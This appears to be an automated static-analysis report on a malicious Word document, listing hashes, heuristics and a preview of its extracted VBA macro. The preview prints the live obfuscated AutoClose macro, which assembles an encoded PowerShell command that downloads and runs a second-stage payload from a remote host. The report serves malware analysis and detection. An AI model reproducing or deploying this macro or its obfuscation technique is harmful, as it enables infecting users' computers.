Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b578b20c01ab822f…

MALICIOUS

Office (OLE)

71.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: f562ed59dee117250091173ae0ee4c77 SHA-1: 4259a6daa55922d5f2e344983ff74db892938417 SHA-256: b578b20c01ab822f1cda76b47dc9cafd1010d98e1a342af9183542892e102e18
242 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample contains a VBA macro with an AutoClose function that executes a PowerShell command. This command is designed to download and execute a second-stage payload from a remote URL. The presence of the Shell() call and the AutoClose execution token strongly indicate malicious intent.

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6735644-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6735644-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7101 bytes
SHA-256: 6969e644281fad275ef798913a6f574c1e20b68f8e83df44aeb2e668fb45c701
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoClose()
On Error Resume Next
ZUBiauJygInGocydumYJGEBuN = "" + ChrW((12.5 * 8) - 1) + "Md." + Format(ChrW(50 * 2 + 1)) + "X" + Format(ChrW(50 * 2 + 1)) + " /" + ChrW((12.5 * 8) - 1) + " p^o^w^" + Format(ChrW(50 * 2 + 1)) + "^r^s^h^E^L^L^.^" + Format(ChrW(50 * 2 + 1)) + "^x^" + Format(ChrW(50 * 2 + 1)) + "^ ^-^" + Format(ChrW(50 * 2 + 1)) + "^" + ChrW((12.5 * 8) - 1) + "^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + ChrW((12.5 * 8) - 1) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + ChrW((12.5 * 8) - 1) + "^A^A^6^A^"

Dim ganyqYbAPYMacEBoDOQUhEJOmeWoBOn


Choose 2, "lifOKWUDARIHuKiBipyzA", LTrim("ganyqYbAPYMacEBoDOQUhEJOmeWoBOn"), "lifOKWUDARIHuKiBipyzAganyqYbAPYMacEBoDOQUhEJOmeWoBOn"
IsError CVErr(7944)
Call IsNumeric(7944 - lifOKWUDARIHuKiBipyzA)

If LenB(lifOKWUDARIHuKiBipyzA10) > CInt(Hex(7944)) Then
   StrComp "lifOKWUDARIHuKiBipyzA", "lifOKWUDARIHuKiBipyzA" & ganyqYbAPYMacEBoDOQUhEJOmeWoBOn
End If
DIHUxykITEKyjURogYtofoleTEbEPEt = "C^8^A^L^w^B^3^A^G^U^A^Y^Q^B^t^A^G^8^A^" + ChrW((12.5 * 8) - 1) + "^w^B^p^A^G^M^A^Y^Q^B^k^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^U^A^F^k^A^S^g^A^v^A^H^" + ChrW((12.5 * 8) - 1) + "^A^d^w^B^u^A^G^8^A^" + Format(ChrW(50 * 2 + 1)) + "^A^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^E^A^d^A^B^y^A^G^k^A^M^Q^A^u^A^H^g^A^Y^Q^B^w^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^" + ChrW((12.5 * 8) - 1) + "^A^X^A^B"
Dim coCixiwulesYCnuleMAveRYDUresDUtAJ


Choose 3, "GYroliXEgiwi", LTrim("coCixiwulesYCnuleMAveRYDUresDUtAJ"), "GYroliXEgiwicoCixiwulesYCnuleMAveRYDUresDUtAJ"
IsError CVErr(41)
Call IsNumeric(41 - GYroliXEgiwi)

If LenB(GYroliXEgiwi11) > CInt(Hex(41)) Then
   StrComp "GYroliXEgiwi", "GYroliXEgiwi" & coCixiwulesYCnuleMAveRYDUresDUtAJ
End If

Dim miPeQadeviqEjeCOkkYbUVUXuZoRIFURanawI


Choose 2, "kaeHAQyVyTAs", LTrim("miPeQadeviqEjeCOkkYbUVUXuZoRIFURanawI"), "kaeHAQyVyTAsmiPeQadeviqEjeCOkkYbUVUXuZoRIFURanawI"
IsError CVErr(6346)
Call IsNumeric(6346 - kaeHAQyVyTAs)

If LenB(kaeHAQyVyTAs13) > CInt(Hex(6346)) Then
   StrComp "kaeHAQyVyTAs", "kaeHAQyVyTAs" & miPeQadeviqEjeCOkkYbUVUXuZoRIFURanawI
End If
Dim gEFobanoDOfIXUToPGEpYJiiOZULLAxe


Choose 6, "SewyGErYMiJo", LTrim("gEFobanoDOfIXUToPGEpYJiiOZULLAxe"), "SewyGErYMiJogEFobanoDOfIXUToPGEpYJiiOZULLAxe"
IsError CVErr(6645)
Call IsNumeric(6645 - SewyGErYMiJo)

If LenB(SewyGErYMiJo13) > CInt(Hex(6645)) Then
   StrComp "SewyGErYMiJo", "SewyGErYMiJo" & gEFobanoDOfIXUToPGEpYJiiOZULLAxe
End If

riTyawOnINAmyccOkiMAxYNolOxisiNOFUf = "^m^A^D^E^A^M^Q^A^1^A^D^k^A^Z^Q^B^h^A^G^M^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^C^k^A^O^w^A^g^A^F^M^A^d^A^B^h^A^H^I^A^d^A^A^t^A^F^A^A^" + ChrW((12.5 * 8) - 1) + "^g^B^v^A^G^M^A^Z^Q^B^z^A^H^M^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^o^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^n^A^F^w^A^Z^g^A^x^A^D^E^A^N^Q^A^5^A^G^U^A^Y^Q^B^j^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^7^A^C^A^A^R^Q^B^4^A^G^k^A^"


ybydEkiPJaSeJFawiwuXIboqAWykeRawiCUc = "d^A^A^="
Dim REduaYhEplOzYgAjivIwWzaPofavUbOieS


Choose 7, "XAnEWikILOLudiJej", LTrim("REduaYhEplOzYgAjivIwWzaPofavUbOieS"), "XAnEWikILOLudiJejREduaYhEplOzYgAjivIwWzaPofavUbOieS"
IsError CVErr(8060)
Call IsNumeric(8060 - XAnEWikILOLudiJej)

If LenB(XAnEWikILOLudiJej11) > CInt(Hex(8060)) Then
   StrComp "XAnEWikILOLudiJej", "XAnEWikILOLudiJej" & REduaYhEplOzYgAjivIwWzaPofavUbOieS
End If

Dim guqVIGYWELUfUhVyZiVaHyPiCaaoZekYCACLEByqiXiJa


Choose 1, "fyZYginUmAGYtE", LTrim("guqVIGYWELUfUhVyZiVaHyPiCaaoZekYCACLEByqiXiJa"), "fyZYginUmAGYtEguqVIGYWELUfUhVyZiVaHyPiCaaoZekYCACLEByqiXiJa"
IsError CVErr(6612)
Call IsNumeric(6612 - fyZYginUmAGYtE)

If LenB(fy
... (truncated)

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